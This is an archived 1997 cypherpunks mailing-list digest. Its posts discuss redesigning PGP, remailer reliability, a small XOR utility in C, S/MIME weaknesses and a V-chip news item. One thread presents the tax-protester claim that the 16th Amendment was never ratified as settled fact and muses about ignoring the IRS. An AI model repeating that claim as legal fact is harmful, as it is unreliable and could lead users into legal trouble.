web site.   Although, it's not like most everyone suspected, hmh.

But anyway, what do you mean by saying that John's books were returned to him?
I sent a letter to Jim in the mail this past Saturday, encouraging him to
call me again and update me on his situation and on the sentencing date.
So I'll be waiting and will pass the info on to John.
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Mon, 3 Nov 1997 19:59:20 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Privacy Software
Message-ID: <199711031141.DAA01497@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Adam Back wrote:
>Monty Cantsin writes:
>> The PGP source code is not the worst I've ever seen, but it's kind of
>> odd.  
>
>I had a go at doing something with it (I'll let you know when I get
>it to work) -- I had the damnest job figuring out what was going on.
>The problem I found with understanding it were all of the nested
>functions called through vectors of functions and handler functions.
>Makes it hard to inspect what will happen without running the code
>under a debugger -- lots control flow is decided at run time.

So in other words, even though we have the source code we don't really
have confidence that we can tell what it is doing.

Even though the source code is available, I don't think it has been
studied all that carefully.  For example, hardly anybody knew that the
PGP 5.0 source had CAK features lurking in it.  Or, remember that bug
with the random number generator?  As I recall (i.e., feel free to
correct me), it was in Colin Plumb's code and he found it himself.
This would imply that it got by whoever went over the code when it was
released.  Not reassuring.

C is a big part of the problem.  Also, PGP was originally designed to
operate on some fairly slow machines and they tried very hard to
optimize the hell out of it.  Now, however, cycles are a lot cheaper.
I think we should give up speed for clarity.  Slow code that we can
really trust is better.

And, the PGP code does a bunch of careful things which complicate it
like burning the stack all the time.  In my judgement, this is
misplaced.  If you don't trust the platform you are using you can't
fix it in your encryption code.

>> We should consider a rewrite, which gives us the added benefit that
>> it will be completely unencumbered.
>
>Sounds maybe worth doing.

It's at least worth talking about.  Hashing out the design is a good
exercise and it can inspire other people when they are designing their
own crypto systems.

>> It also gives us the opportunity to write it in a language other than
>> C, one which truly supports encapsulation.  C code is hard to verify
>> with great confidence because it is possible to obfuscate it and
>> introduce security holes.  This means that C requires one to trust the
>> authors to a greater extent than is desirable.
>
>Some C programmers do have fun writing obfuscated chicken scratchings,
>but you _can_ write C code optimised for readability.

What's really bad is that any part of the code can betray the rest.
Let's say you had somebody who was really very good who wanted to
weaken things.  All he or she has to do is have a little obfuscated
code someplace that undermines the majority of nicely designed and
implemented C code.

A truly encapsulated language is a lot easier to verify because if
none of the magic functions exist in the code (easy to check), you can
be confident that when you have verified one piece of code that the
other pieces can't interfere.

>What language did you have in mind?  modula-3?  iso-pascal/borland
>pascal?

Hadn't thought of Modula-3, but that is an excellent idea.  Java would
be a candidate, although performance is an issue.  There's been some
good buzz around about Ada.  It might perform well and it's here to
stay.  Is Modula-3 being used in any serious way by anybody?  If it
is, let's consider it.  (I think there is a Modula-3 -> C compiler out
there someplace, which means it's totally portable.)

A good language choice would probably save a lot of time.

>> The whole issue of compatibility is an interesting one.  Would it be a
>> good idea to have a cryptographic system which was completely
>> incompatible with PGP, given the Big Brother risk?
>
>Theoretically perhaps, however I'm not sure a system will get very far
>unless it can automatically interoperate with pgp2.x and 5.x.

It would be nice to just shed the PGP baggage for the moment and think
about how we would do a system from scratch for our own uses.

Ultimately, this system could reside in an application which also
speaks PGP.  Or, it could just be its own thing.

>You could build something which did the right thing automatically
>based on public key types:
>
>hypothetical cpunks mail system (HCMS)

We should use the acronym CMR.  (Cypherpunk Message Remodel?
Suggestions invited.)

>HCMS -> pgp2.x   use RSA/MD5/IDEA and pgp2.x message formats
>HCMS -> pgp5.x   use DSA/EG/3DES/SHA1 and pgp5.x message formats
>HCMS -> HCMS     use whatever goodies you want, stego, mixmaster, etc.

CMR nee HCMS should be an independent system.  The mail system you are
using should decide whether to use it or some other system depending
on the correspondent.

While it may seem crazy to toss compatibility, it has some advantages.
For instance, the only people who will use it are the hardcore types.
I like the idea of an exclusive crypto system that only cool people
who are fairly with it use.

What do you think about mandating a key size?  I like the idea that
use of the protocol communicates "I am very serious about my privacy."
It's also slightly cripple resistant.  (And, were I to consider mass
market concerns which I am not, I would say that it makes it easier
for the user to make the right choice.)

How about finding a way to eliminate indicators?  It's nice not to
leak any information at all.  It also makes super-encryption stronger.
If each encrypted layer looks like noise, the total key size is the
sum of the bits of each layer.

One way to eliminate indicators is through the prior agreement of the
meaning of random bits.  In effect, you can say "when you see
0x234B4D234F, it means, outside layer RSA/IDEA, middle layer
3DES/SHA1, and inner layer the Captain Crunch decoder ring."  This
information can be exchanged at the time of key authentication,
securely, by telling your correspondent how you are encrypting
everything.  Later, you can send more random bits when the tank starts
getting low.

Super-encryption is something we should do more of.  Let's say we
believe, conservatively, that any particular cipher we are using has a
10% chance of falling in a particular year.  In ten years, that's a
35% chance of compromise.  But if three different ciphers are used,
there is only a 4% chance that it will fall in a decade.

Super-encryption has been unpopular because it takes too long.
However, if you are using a modern OS, even if it takes five minutes
running in the background it's just not a big deal.

It doesn't seem unreasonable to me to break out authentication from
the communication protocol.  Strictly speaking they are not the same
thing.  Both programs can be called by the same message composition
program.  This naturally leads to using separate communications and
authentication keys.

I am not fond of PGP's signature design.  The "BEGIN PGP SIGNATURE"
stuff clutters things up.  How about a one line signature with a
previous character count?  Note that this wraps beautifully without
modifying the message itself.  It's unobtrusive.

ASCII armor also sets off alarms with me, but I'm not sure exactly how
to solve this problem.  It seems right to define protocols in terms of
full 8 bit bytes.  Perhaps just uuencoding encrypted messages is the
way to go?

For authentication, it would probably be okay to define an ASCII mode.

I think key management is good to think of as a separate application.
The right way to do this isn't clear, yet.  The Web of Trust is a neat
idea, but I think the concept is flawed because you are unlikely to
tell something sensitive to somebody you wouldn't (or couldn't)
authenticate yourself.  Ultimately it relies on things like driver's
licenses issued by Big Brother, which is terrible.

>> Something I've never liked about PGP is their approach to encrypting
>> to multiple keys.  For one thing, the PGP crowd seems overly
>> conservative with bit expenditure, which is silly because bits are
>> cheap.  This means that creating entirely separate messages is
>> completely economical.
>
>This is more secure I agree.  The real kicker with this problem is
>people who turn on encrypt to self -- I don't want messages with
>encrypt to self (an extra door into the message) on them in my
>mailbox, nor coming over the wire headed to me.
>
>You can see the reason for multiple recipient though -- it's too ease
>integration into mailers -- you can process the message and give it
>back to the mailer, and then it can still send the message To: x, y;
>Cc: z.

But this is just bad design if you care about security in a serious
way.  Even assuming you have to reveal who you are sending the message
to, why reveal that three messages are related to each other?

This is yet another mass market issue.  If we were to do it the right
way, all the mail header fields would be contained inside the
encryption envelope.

>Doing away with multiple crypto recipient risk is more an issue of MUA
>integration than rabid conservation of bits.

I'll buy that.

>> So, perhaps a protocol which does not support anything more than one
>> encryption key per message would be a good idea.
>
>You don't have to use it.  I tend not to.  I never use encrypt to
>self, and I get annoyed with people who send me messages encrypt to
>themselves, and very rarely do I use Cc on encrypted messages.

If the protocol doesn't accept multiple keys for a message it is
slightly CAK/GAK resistent.  And, it's a nice statement of intent.
It's also nice to have tools which help you to behave securely without
carefully thinking about it when you are using them.

>> And, I wonder if compression doesn't actually weaken security?  Let's
>> say I forward a known message with some commentary.  Since the
>> compression tables will be known, it seems like the increased size of
>> the message could provide some interesting information about the
>> preceding commentary.  All by itself, this probably doesn't matter,
>> but combined with other information it might result in a breach.  In
>> any event, that which is ambiguous should be eliminated.
>
>I don't understand this comment.

Let's say it is known with high probability that I am forwarding a
particular message with some unknown prefacing comments.  It seems to
me that (possibly) some information is be revealed by the size of
the compressed encrypted text.

That is, the known message will compress to a different size depending
on your prefacing comments.

For example, if I use lots of words that are in the known message, it
will compress very well.  The result will be significantly smaller
than if I use words that never appear in the known message.  This
might not be a problem, but I don't like "mights".

Also, I like things which are really orthogonal.  There's no
particular reason for the compression to be part of an encryption
program, if you use it at all.

>One thing that some people don't realise is that the plaintext gets
>mixed into the random pool as an additional source of entropy.  In
>automated environments (lots of MUAs which set +batchmode), this is
>all the entropy you'll get -- except for the original key presses to
>generate the key, and a small bit of entropy from the system clock.
>
>It's fairly good normally because the way entropy is mixed in is a one
>way function of the randseed.bin based on IDEA.  To make use of this
>an attacker would need a copy of your randseed.bin before you sent the
>target message, and to have suspicions of what the message is.  Even
>after a few known messages it would still likely be possible to
>attack, because the entropy added by the clock is partly predictable
>from the message headers Date: field, and because it isn't that much
>entropy each time.

The randseed.bin file has always bothered me.  What we really want is
some good sources of entropy in which we have tremendous confidence.

Also, if you signed the message the Date: field won't be needed.  This
is bad design, in my opinion.  A signature and a time stamp are two
different things.  For instance, I would prefer not to time stamp my
messages as it reveals the state of my clock and the transit time of
the messages I send.

>> It would also be nice if the messages were padded to predetermined
>> sizes, say 10K, 20K, 40K, etc.  (Once compression is eliminated this
>> is less of an issue.)
>
>It would be nice to have a system where you send 100k and receive 100k
>per day regardless.  Say in 10 10k packets which get poured into a
>mixmaster node.

Yes, this would be good.  Although, I would think of this as being on
a higher level than the encryption program itself.  Probably we want
an entire communications management program which tracks everything
you've sent and analyzes your activity for weaknesses.

>> How about a one time pad mode?  One time pads are more practical than
>> widely believed.  Many things we talk about we *do* want to keep quiet
>> for the rest of our natural lives.  
>
>Right.
>
>The problem with this is that you need random numbers.  How do you
>generate them?

You only need to generate keys once in awhile.  This means that you
can go to some trouble when doing it.  For instance, you might have
some hardware which is not routinely connected to your machine.

>If you use PGP's random pool, one suspects that if IDEA becomes
>attackable at some point in the future the random pool will start to
>look more like a predictable PRNG to the attacker.
>
>I wonder how good linux's /dev/urandom would be if MD5 becomes even
>more suspect.

Well, neither of these would be good for a one time pad, of course.
It would be neat to have, say, three sources of hardware randomness
and then XOR the result with the above pseudo random output.

It's hard to recognize non-randomness, so some overkill is good
practice.

BTW, it would be nice if PGP or CMR/HCMS would let you supply bits of
entropy by hand.  It takes awhile to generate 128 bits by hand, but
for some things it would be worth it.

>> It's clear that going the corporate route has to be handled with some
>> care.  Given the political implications, investors have certain risks.
>> 
>> Also, many people seem to switch into a different mode as soon as they
>> have a company.  Anything which they perceive as increasing their
>> profits becomes good.  PGP, Inc. has gone this way, we've seen First
>> Virtual do some unsavory things, 
>
>What did FV do?  I know they don't use encryption, and Nathaniel
>Borenstein wrote a few hype-hype articles about the _gasp_ newly
>discovered security danger of "key board sniffers".

The hype article was what I had in mind.  I doubt very much that
Borenstein would ever have been involved with such a thing outside a
corporation.  It seems to have a bad effect on some people.

The problem is, you don't always know where that bad effect stops once
you've noticed it.

>> and even good old C2 has made a few people uncomfortable.
>
>Only thing slightly negative C2 did was to make a dubious decision in
>handling of Mr Nemesis's fabricated claims about stronghold flaws.
>C2 still rocks, though right?

Comme ci, comme ca.  The libel suit business was uncool.  Also, there
was a press release relating to one of the cracks which was somewhat
misleading, I thought.  C2 has shown some symptoms of institutional
paranoia, which is bad.  Sameer's comments along the lines of "this
isn't some cypherpunk hobby" are also not reassuring.  All of these
things arise from being in a corporation.

The problem is that I'm not tapping their phones.  I don't really know
what they are thinking or doing.  When something happens that is
troubling, it's hard to restore trust.  I don't give C2 five stars.

That said, C2 has done some very good things.  People seem to like
Stronghold a lot.  It really is a secure product.  They publish their
source code.  I do like what they have to say in many of their press
releases and they are getting certain ideas into the mainstream.  (The
Forbes article, for instance.)

Sameer's one line comment "sell code" had a lot of influence on me,
too.

>> It doesn't have to be this way, of course.  Look at Comsec Partners.
>> We don't see any "conversation recovery", lying press releases, or any
>> other nonsense from them, just a beautiful product.
>
>Quite so.  C2 hasn't got "web traffic recovery" either :-)

No kidding.  Yes, C2 is miles above PGP, Inc. in my book.

But, Comsec gets the five stars.  They have never done anything or
said anything that gave me less than complete confidence.

>> What I like about selling software is that you could actually make
>> good living by doing the right thing.  And, after all, if you've spent
>> six months writing something, why shouldn't the users kick in a little
>> money instead of freeloading?  I would like to see more crypto users
>> in the habit of paying for tools and in the habit starting security
>> companies.
>
>New payment models will need to come in.  How can you extract money
>from a cryptoanarchist?  Copyright?  Patent?  Hah, hah.

The important thing is establishment of the custom.  Most
cryptoanarchists with class will pay.  The way to do this is to make
it clear from day one that it is not free software.  If you want to
run it, you should buy it.  (The problem with share ware is that people
get used to "borrowing" it.)

This should work well.  Cryptoanarchists, in my experience, have
pretty high integrity.  Some people will pirate, true, but that's
life.  Ironically, people who honestly discuss their skepticism of
intellectual property laws are probably less likely to pirate.

>If we get a real eternity service going (not the poor imitation perl
>script up now where all traffic goes through a server unless you
>install it locally) software copyright could become a thing of the
>past :-)
>
>Trust might be one way to go, rely on good will.  Or paying for
>technical support.  Or mixmaster, or DC net packet delivery postage
>charges.

These are good ideas.

You know, it would be cool to define a software architecture for
remailer software.  Different remailers have different properties and
different strategies.  They may continue to differentiate.

When you decided to trust a particular remailer, it could give you a
module of code with a standard external interface which prepares
messages for that particular remailer.

Putting your idea another way, the code is "free" but the remailers
cost money.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNF1+s5aWtjSmRH/5AQFvHQf+PFXqriw8FoMMcsflEf1Jo55Myl94Luj8
UxSQ9YCq6+dedih7j/FJ3RLL0LtCTa7Sn6E/kGmgqzwcAcfzcjavpl7joNdHU9Yo
pS81mXeZ3kw34Nj1hbaX2j6Shx4+46uNUskfXThi6bz3lh1OM2hy7xF63blB2m1I
MVt786tah76UfveYlWR/MXK+ZN2DwUvejiPX+bP7vNqaDsXRyrW5mX1vVUuKf6po
5PRZ5wSMKQF/ULm7tOb/g8otoj2w84iir8kckLJiiSs4Xm3hk6+QbDVIhz31aPD3
D2PXIDEXz+x+Vtr5xPIurvpfEo5GpgFdMv5Ox1y796yHr6jjJ8BJjQ==
=rjFe
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Mon, 3 Nov 1997 15:53:03 +0800
To: cypherpunks@cyberpass.net
Subject: the one Unbreakable crypto scheme.
Message-ID: <II3U8FPHjnZhca9XSBZfUg==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



/* Generic xor handler.

   With no args, xors stdin against 0xFF to stdout.  A single argument is a
   file to read xor-bytes out of.  Any zero in the xor-bytes array is treated
   as the end; if you need to xor against a string that *includes* zeros,
   you're on your own.

   *Hobbit*, 960208 */

#include <stdio.h>
#include <fcntl.h>

char buf[8192];
char bytes[256];
char * py;

/* do the xor, in place.  Uses global ptr "py" to maintain "bytes" state */
xorb (buf, len)
  char * buf;
  int len;
{
  register int x;
  register char * pb;

  pb = buf;
  x = len;
  while (x > 0) {
    *pb = (*pb ^ *py);
    pb++;
    py++;
    if (! *py)
      py = bytes;
    x--;
  }
} /* xorb */

/* blah */
main (argc, argv)
  int argc;
  char ** argv;
{
  register int x = 0;
  register int y;

/* manually preload; xor-with-0xFF is all too common */
  memset (bytes, 0, sizeof (bytes));
  bytes[0] = 0xff;

/* if file named in any arg, reload from that */
#ifdef O_BINARY				/* DOS shit... */
  x = setmode (0, O_BINARY);		/* make stdin raw */
  if (x < 0) {
    fprintf (stderr, "stdin binary setmode oops: %d\n", x);
    exit (1);
  }
  x = setmode (1, O_BINARY);		/* make stdout raw */
  if (x < 0) {
    fprintf (stderr, "stdout binary setmode oops: %d\n", x);
    exit (1);
  }
#endif /* O_BINARY */
  
  if (argv[1])
#ifdef O_BINARY
    x = open (argv[1], O_RDONLY | O_BINARY);
#else
    x = open (argv[1], O_RDONLY);
#endif
  if (x > 0) {
    read (x, bytes, 250);		/* nothin' fancy here */
    close (x);
  }
  py = bytes;
  x = 1;
  while (x > 0) {
    x = read (0, buf, sizeof (buf));
    if (x <= 0)
      break;
    xorb (buf, x);
    y = write (1, buf, x);
    if (y <= 0)
      exit (1);
  }
  exit (0);
}






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 3 Nov 1997 19:06:15 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
In-Reply-To: <199711030925.KAA17872@basement.replay.com>
Message-ID: <2144e913358bc86168058feec1461cc7@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous  <nobody@REPLAY.COM> writes:

> Anybody heard of syncrypt?  www.syncrypt.com

> It is like pgp but has lots of cool features.  File wiping, group
> encryption, automatic encryption of files put in certain directories.

Am I supposed to be impressed?  They only support the proprietary
products of a company supporting draconian gun controls.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 3 Nov 1997 19:45:10 +0800
To: cypherpunks@toad.com
Subject: Washington Times: "FCC wants to extend V chip to computers"
Message-ID: <v03007800b0836554aece@[204.254.21.242]>
MIME-Version: 1.0
Content-Type: text/plain



Front page:

"Not content to monitor the progrom on your television set, the FCC now
wants to install a vchip in your personal computer -- a move that could
extend the agency's reach into cyberspace...

"Lawmakers said the vchip law was intended only for TV sets..."

"Some question whether this will lead to FCC regulation of the Internet..."

Dave Banisar, Rep. Tauzin, Ed Black make appearances.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 3 Nov 1997 23:09:09 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199711031450.GAA10370@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash ksub esub latent cut ek reord post";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp ksub hash latent cut ek";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix";
$remailer{"medusa"} = "<medusa@weasel.owl.de> mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = "<h_tuttle@rigel.cyberpass.net> cpunk pgp hash latent cut post ek";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

This remailer list is somewhat phooey. Go check out
http://www.publius.net/rlist.html for a good one.

Last update: Thu 23 Oct 97 15:48:06 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hera     goddesshera@juno.com             ------------  5:03:45  99.86%
nym      config@nym.alias.net             +*#**#**###       :34  95.82%
redneck  config@anon.efga.org             #*##*+#****      2:00  95.44%
mix      mixmaster@remail.obscura.com     +++ ++++++*     19:18  95.27%
squirrel mix@squirrel.owl.de              -- ---+---    2:34:19  95.16%
cyber    alias@alias.cyberpass.net        *++***+ ++      11:26  95.11%
replay   remailer@replay.com              ****   ***      10:06  94.93%
arrid    arrid@juno.com                   ----.------   8:50:34  94.41%
bureau42 remailer@bureau42.ml.org          ---------    3:38:29  93.53%
cracker  remailer@anon.efga.org           +  +*+*+*+      16:32  92.80%
jam      remailer@cypherpunks.ca          +  +*-++++      24:14  92.79%
winsock  winsock@rigel.cyberpass.net      -..-..----    9:59:18  92.22%
neva     remailer@neva.org                ------****+   1:03:02  90.39%
valdeez  valdeez@juno.com                               4:58:22 -36.97%
reno     middleman@cyberpass.net                        1:01:28  -2.65%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 3 Nov 1997 20:08:20 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Forwarded mail...
Message-ID: <1d429080fd14348402d587992a55f441@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Jim Choate wrote:
>> Fortunately some of these "good" lawyers already exist at the Institute for 
>> Justice.  Basically, they are a libertarian version of the ACLU.  They've 
>> accomplished some good things and deserve the support (read $$$) of 
>> freedom-minded individuals everywhere.  (note: I'm not connected with them
>> in any way; just letting the cypherpunk community know about an organization
>> in sync with our views)
>> 
>>  "If you seek a courtroom champion for individual liberty, free market
>>   solutions, and limited government, look only as far as the Institute
>>   for Justice.  When politicians pass sweepingly intrusive laws and
>>   bureaucrats build their empires of paperwork and power, only the
>>   Institute for Justice brings them to account in court."
>>   -- http://www.InstituteforJustice.org/
>
>Thanks, I'll check them out as I am unaware of their position.

I should add that they haven't done anything in the field of cryptographic 
or technology issues, but have focused most of their efforts on protecting 
small entrepreneurs from overly zealous government agencies, particularly on 
the local level.  One item I found of particular interest was a report they 
published in July 1996 about the restrictive barriers New York City has 
erected to prevent entrepreneurship (i.e., expensive/restrictive licensing 
fees, tough penalties for doing business without the required permits, 
etc.).  An earlier post on this list referred to NYC as a cesspool of 
socialism.  There is truth to this statement.  Socialist politicians tend 
to punish those who help themselves, all for the public good of course.

[snip] 
>> Bill Benson has done some extensive research (his book is called The Law 
>> That Never Was) regarding the 16th Amendment (the so-called Income Tax 
>> Amendment) and how it was ratified.  According to the information he has 
>> uncovered through exhaustive research in D.C. and all of the state capitals 
>> of the then 48 states, the 16th Amendment was never ratified by 3/4ths of 
>> the states. (see http://www.trustclarks.com/theman.html for more info)
>> 
>> Friends of mine have spoken to Mr. Benson about this, and he says that the 
>> courts won't touch it with a ten foot pole.  He even sells a package (or at 
>> least he was selling it back in 1995) of legal information about the 
>> non-ratification of the 16th that can be used as a defense in an income tax 
>> case.  According to Mr. Benson (in 1995), each of the cases was dropped when 
>> the defense made it clear they were going to argue their defense based on 
>> this point.
>> 
>> I understand that folks in the "patriot" movement have tried to take this to 
>> the Supreme Court without success.  The Court refused to hear it.
>> 
>> Assuming Mr. Benson's research is accurate and legitimate, the 16th didn't 
>> even come close to being ratified and is truly a Law That Never Was.  Think 
>> about that next April 15th...the IRS's "lawful" authority is based upon a
>> legal fiction.  That's why it's called >voluntary< compliance.
>
>Actualy, his research is one of the reasons that I am so interested in an
>actual lawsuit.
>
>What if somebody were to go for several years with no contact at all with
>the IRS, and no intention of making contact. Then when approached that
>person makes enough noise to guarantee that they will be going to court.

Funny you should mention this.  A few folks have this very intention. :-)

>What would it then take to bush-whack the beggars? What is the absolute last
>point that your defence must be revealed prior to your presenting your case
>to the jury? 

I'm not following the wording of this last question.  Could you clarify?

>             The reason I use the first person is because to me it seems
>critical that no lawyer is actualy used in the defence. As I understand it,
>and I ain't no lawyer, there are some actions that a defendent may do if
>representing themselves that lawyers are prohibited from doing. Among them
>is stating the obvious fact, if the jurors don't believe the law is just
>they may refuse to find for that reason. If the Constitution and the actual
>record of votes in concert with the general feeling of excess regarding this
>matter doesn't prove the case, what will?

That's exactly the point.  And that, I believe, is why the Supreme Court --
or any court for that matter -- will not go near this issue.  It is the
pivotal point that would collapse the whole house of cards that is the
Income Tax.  The feds have a huge vested interest in keeping the system
going as long as they can (Y2K bugs and all) and this issue is a
veritable hornets' nest.

Nerthus

p.s.  For those of you keeping tabs on nyms, this is the last time I will
include my public key in the body of my email.

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP for Personal Privacy 5.0

mQENAzRc0lEDFQEIALF2JX7RgDLC6nnSa7BmcczGumTRxhXx5mHoqPcGY95VGAVD
49iN/+59BBrHKxOU5JX5F9kWEsBG92KbOdB3XGCsub7AYmCl+iMrG+h+vJl9qCyc
134sq7WNfInA9TxiQ28/DldHj++gDeQJr9BvUU8Ez2Iu70uW5T7rlHFyBUWQBh3P
2dB/Q9A/dixhAzNTaeTuVH4TunoyDN6OrRrSTdZhsPs8dLVLLeqKC3qM28wLX5Mt
qQCUb/pRb9TR9ygwaznAIdqSJ1qc/xqlQY6U0Vh6YVOaId+MQwzsq1ZRPlW0kYSS
wgka2WXELH5ZpQLmCppM1pdkHhm54VbBl7TmNwkABRG0I05lcnRodXMgPGN5cGhl
cnB1bmtzQGN5YmVycGFzcy5uZXQ+iQEVAwUQNFzSUeFWwZe05jcJAQFxVQf/WUSH
ltCrUpoQwQ9oTGCJiRycTQqUzDuqaqR55xgyz8W5mARixBigd/sL63EoBlQmyHR3
NIgwIW3I8hcPfUlXi84hsZ+89/HVW3CoMk2g6692UEoKHUX6bMkeAi85hIfJVhFj
EONhx3xFmdOZqkEbdFm81J/0JJIhtAe0Ut2DPu4B49yjO7NBTg97QWwO6ZymE09v
BUv5esuvdxFbmn8qfPHdurs+MrvoKbhZIA8Xz03eTS1auT8pNvdEO4EDaac0njZ4
5wAbAeC79AqztS75GpT7cf0jZcYJPwtW8LPXj7SQCMimseZ7/2OxNPditI9e58CI
EL/Dl0D9qn1NRPiVwA==
=8W8j
- -----END PGP PUBLIC KEY BLOCK-----

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNF0knuFWwZe05jcJAQH8WAf/e/BA8ysXWf1xrxJKiNPP8oyEDHpeFxZQ
LWgW/kgfDmh1Y/Tfjw0i5nnnImlXfEcX5nmL8H+HezxBxKMN2O33PftHAPYghHrI
y0hSgZVmA2VOMy4Dtv0umT19RarennPVHrGDyCi2zmNF9+5v6b81CYWLEBNMYx9V
kaVOBCEt0FRdDFug1FwNRHJ+gHQjbFCVCMRF2v/0AF5r9uDPzNtCo3JP6tnllcqX
jSf6MKa3Kxw17c+Je+TuLwHgltvULt3KZBrweJqslKKbY24Qw/PSPPHczvL8ieI1
uknK9KTVl6OJLvaGyI6bpFFgFoPxTpF+JJkzUR1GnlLN5gUwuQ6NKw==
=osod
-----END PGP SIGNATURE-----









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Mon, 3 Nov 1997 22:37:06 +0800
To: "Nobuki Nakatuji" <bd1011@hotmail.com>
Subject: Re: S/MIME
In-Reply-To: <19971103044957.24885.qmail@hotmail.com>
Message-ID: <199711031419.JAA11804@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19971103044957.24885.qmail@hotmail.com>, on 11/02/97 
   at 08:49 PM, "Nobuki Nakatuji" <bd1011@hotmail.com> said:

>Is S/MIME secure than PGP ?


No it is not!

S/MIME specs require support for weak RC2/40 encryption. This is not
secure!!! Add to this the fact that to date no S/MIME vendor has ever
released their crypto source code. I for one would not trust Net$cape or
Micro$oft to secure an outhouse let alone my communications. They have
shown their incompentence in this area time and time again.

Weak Crypto = No Security
No Source   = No Security


- -- 
- ---------------------------------------------------------------
